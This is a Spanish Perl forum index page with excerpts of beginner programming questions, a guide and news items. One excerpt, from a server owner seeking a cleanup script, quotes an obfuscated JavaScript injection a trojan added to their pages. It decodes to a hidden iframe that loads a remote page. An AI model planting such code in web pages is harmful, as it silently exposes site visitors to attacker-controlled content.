Hola a todos,
Tengo un proceso que se conecta mediante ssh a una máquina para leer los ficheros que residen en la misma.
Necesito comprobar que están todos los fichero y que no están vacíos.
¿Cómo puedo hacerlo?
Saludos y gracias
-
- Publicidad
Fecha actual 2025-03-05 13:09 @589
News of Foro - Perl en Español
Site map of Foro - Perl en Español » Foro : Foro - Perl en Español
La comunidad de programadores en Perl de habla-hispana.Comprobar fichero no vacío
Read more : Comprobar fichero no vacío | Vistas : 952 | Respuestas : 4 | Foro : Básico
HTML::TableExtract
Hola:
Estoy intentando convertir tasas de cambio de moneda mediante xe.com y tengo un problema a la hora de extraer los datos de una tabla
1 #!/usr/bin/perl
2 use strict;
3 use warnings;
4 use LWP::UserAgent;
5 use HTML::TableExtract;
6
7 unless ( @ARGV == 3 ) {
8
9 print "usage: $0 amount from to\n";
10 print " example: $0 1000 usd eur\n";
11 exit( 1 );
12 }
13
14 my ( ...
Estoy intentando convertir tasas de cambio de moneda mediante xe.com y tengo un problema a la hora de extraer los datos de una tabla
1 #!/usr/bin/perl
2 use strict;
3 use warnings;
4 use LWP::UserAgent;
5 use HTML::TableExtract;
6
7 unless ( @ARGV == 3 ) {
8
9 print "usage: $0 amount from to\n";
10 print " example: $0 1000 usd eur\n";
11 exit( 1 );
12 }
13
14 my ( ...
Read more : HTML::TableExtract | Vistas : 726 | Respuestas : 2 | Foro : Básico
Ejemplo de módulo Find
¿Alguien tiene un ejemplo del uso del módulo "Find" en busca de permisos del sistema tipo:
find / -type d -perm -01111 -print
?
Saludos.
find / -type d -perm -01111 -print
?
Saludos.
Read more : Ejemplo de módulo Find | Vistas : 5720 | Respuestas : 12 | Foro : Módulos
Problema con system()
¡¡Hola a todos!! Es mi primer post :$ He leído y buscado en el foro sobre mi problema pero no he encontrado nada parecido.
Estoy usando el siguiente comando en un programa Perl:
system("zmu -m 2 -E");
Funciona perfectamente, pero el problema que tengo es que el número "2" es variable y tendría que provenir de una variable llamada $id.
He probado concatenando así:
system("zmu -m ".$id." -E");
No me funciona T·T
Si alguien tiene ...
Estoy usando el siguiente comando en un programa Perl:
system("zmu -m 2 -E");
Funciona perfectamente, pero el problema que tengo es que el número "2" es variable y tendría que provenir de una variable llamada $id.
He probado concatenando así:
system("zmu -m ".$id." -E");
No me funciona T·T
Si alguien tiene ...
Read more : Problema con system() | Vistas : 782 | Respuestas : 4 | Foro : Básico
Perl ActiveState. Instalación y gestión con el PPM
Guía de instalación de ActivePerl. Gestión de módulos con PPM
Sigue una guía de instalación de la distribución Perl ActivePerl de la empresa ActiveState.
Además, cómo buscar y gestionar los módulos Perl con el programa gestor PPM, incluido en el ActivePerl.
1.- Descarga
2.- Instalación
3.- Gestión de módulos con PPM
3.1.- Definiciones
3.2.- Áreas de instalación
3.3.- Repositorios
3.4.- Módulos
3.5.- Documentación
Sigue una guía de instalación de la distribución Perl ActivePerl de la empresa ActiveState.
Además, cómo buscar y gestionar los módulos Perl con el programa gestor PPM, incluido en el ActivePerl.
1.- Descarga
2.- Instalación
3.- Gestión de módulos con PPM
3.1.- Definiciones
3.2.- Áreas de instalación
3.3.- Repositorios
3.4.- Módulos
3.5.- Documentación
- Descarga
Conectándonos por Internet, al sitio ActivePerl.com. Llegamos a esta página: ...
Read more : Perl ActiveState. Instalación y gestión con el PPM | Vistas : 9214 | Respuestas : 0 | Foro : Formación
Perl no existe como un edificio, sino como un acto de amor
«Acabo de ver este vídeo, y sugiero a todo el mundo que haga lo mismo. El vídeo es una charla de Clay Shirky, durante el curso de la cual se desarrollan algunas grandes ideas:
"Perl no existe como un edificio, sino como un acto de amor."
"Perl es, todavía hoy, una viable opción de programación porque millones de personas se levantaron esta mañana amando Perl, y más importante, ellos se aman los unos a ...
"Perl no existe como un edificio, sino como un acto de amor."
"Perl es, todavía hoy, una viable opción de programación porque millones de personas se levantaron esta mañana amando Perl, y más importante, ellos se aman los unos a ...
Read more : Perl no existe como un edificio, sino como un acto de amor | Vistas : 2657 | Respuestas : 2 | Foro : Pasando el rato
Script para eliminar inyección maliciosa en sitio web
Tengo un servidor dedicado por medio de Layered Tech. Hoy en la mañana me desperté con la desagradable noticia de que había sido atacado el servidor con un troyano que inyectó código a todas las páginas con extensión .html, .html, .php y .tpl.
El código que fue insertado después de cada </html> en cada uno de esos archivos es:
<html> <body><script>var source ="=jgsbnf!tsd>(iuuq;00iv2.iv2/do0dpvoufs0joefy/qiq(!xjeui>2!ifjhiu>2!gsbnfcpsefs>1?=0jgsbnf?"; var result = "";
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1);
document.write(result); </script>
</html> </body>
Es ...
El código que fue insertado después de cada </html> en cada uno de esos archivos es:
<html> <body><script>var source ="=jgsbnf!tsd>(iuuq;00iv2.iv2/do0dpvoufs0joefy/qiq(!xjeui>2!ifjhiu>2!gsbnfcpsefs>1?=0jgsbnf?"; var result = "";
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1);
document.write(result); </script>
</html> </body>
Es ...
Read more : Script para eliminar inyección maliciosa en sitio web | Vistas : 10074 | Respuestas : 18 | Foro : Avanzado
El precio de desarrollar Linux desde cero
La Fundación Linux realizó un interesante cálculo acerca de cuál sería la cifra que una empresa debería abonar para desarrollar desde cero la distribución Fedora 9
El trabajo fue elaborado por Amanda McPherson, Brian Proffitt y Ron Hale-Evans en base a un estudio realizado en 2002 por David Wheeler.
En ese entonces, el analista concluyó que Red Hat Linux 7.1 tenía un valor de u$s1.200 millones y el kernel (núcleo de un sistema operativo) ...
El trabajo fue elaborado por Amanda McPherson, Brian Proffitt y Ron Hale-Evans en base a un estudio realizado en 2002 por David Wheeler.
En ese entonces, el analista concluyó que Red Hat Linux 7.1 tenía un valor de u$s1.200 millones y el kernel (núcleo de un sistema operativo) ...
Read more : El precio de desarrollar Linux desde cero | Vistas : 841 | Respuestas : 0 | Foro : Pasando el rato
Duda con función JavaScript para eliminar acentos
¡¡¡Hola!!!
Estoy tratando de usar la función quitaacentos() en una página de envío de formulario y me da error.
La página que envía el form
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Documento sin título</title>
<script language="javascript">
function quitaacentos(t){
á="a";é="e";í="i";ó="o";ú="u";
acentos=//g;
return t.replace(acentos,
function($1){
return eval($1)
}
);
}</script>
</head>
<form action="envio.asp" method="post">
Contenido del mensaje:
<input name="ibody" type="text" value="" />
<label>
<input type="submit" name="button" id="button" ...
Estoy tratando de usar la función quitaacentos() en una página de envío de formulario y me da error.
La página que envía el form
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Documento sin título</title>
<script language="javascript">
function quitaacentos(t){
á="a";é="e";í="i";ó="o";ú="u";
acentos=//g;
return t.replace(acentos,
function($1){
return eval($1)
}
);
}</script>
</head>
<form action="envio.asp" method="post">
Contenido del mensaje:
<input name="ibody" type="text" value="" />
<label>
<input type="submit" name="button" id="button" ...
Read more : Duda con función JavaScript para eliminar acentos | Vistas : 7098 | Respuestas : 2 | Foro : JavaScript
Variables argumentativas
Hola a todos :D
Me surgió la duda de las variables argumentativas, lo que yo quiero hacer es un script que trabaje por consola, o sea hacer algo como esto:
Y que me compare el argumento "-n".
Estoy pensando en usar algo como esto, claro que está mal usado, aun no lo sé implementar:
#!/usr/bin/perl
if ($ARGV == "-n") {
print "Normal. \n";
} ...
Me surgió la duda de las variables argumentativas, lo que yo quiero hacer es un script que trabaje por consola, o sea hacer algo como esto:
- Code: Seleccionar todo
C:\Perl>Code.pl -n
Y que me compare el argumento "-n".
Estoy pensando en usar algo como esto, claro que está mal usado, aun no lo sé implementar:
#!/usr/bin/perl
if ($ARGV == "-n") {
print "Normal. \n";
} ...
Read more : Variables argumentativas | Vistas : 1110 | Respuestas : 6 | Foro : Básico
Last 10 active topics
Estadísticas
Mensajes totales 36892 • Temas totales 7434 • Usuarios totales 1981